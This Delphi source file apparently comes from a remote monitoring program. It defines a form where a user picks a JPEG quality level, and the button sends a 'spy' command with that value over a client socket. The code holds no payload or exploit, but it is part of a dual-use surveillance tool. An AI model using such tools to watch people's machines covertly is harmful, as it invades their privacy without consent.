jpg.~pas

一个远程监控程序

unit JPG;

interface

uses
  Windows, Messages, SysUtils, Variants, Classes, Graphics, Controls, Forms,
  Dialogs, Buttons, StdCtrls, ComCtrls;

type
  TfrmJPG = class(TForm)
    TrackBar1: TTrackBar;
    lb_1: TLabel;
    SpeedButton1: TSpeedButton;
    Label1: TLabel;
    procedure SpeedButton1Click(Sender: TObject);
    procedure TrackBar1Change(Sender: TObject);
  private
    { Private declarations }
  public
    { Public declarations }
  end;

var
  frmJPG: TfrmJPG;

implementation

uses Umain;

{$R *.dfm}

procedure TfrmJPG.SpeedButton1Click(Sender: TObject);
begin
  frmClient.ClntSocket.Socket.SendText('spy'+IntToStr(TrackBar1.Position));
  Close;
end;

procedure TfrmJPG.TrackBar1Change(Sender: TObject);
begin
  lb_1.Caption:=IntToStr(TrackBar1.Position*10)+'%';
end;

end.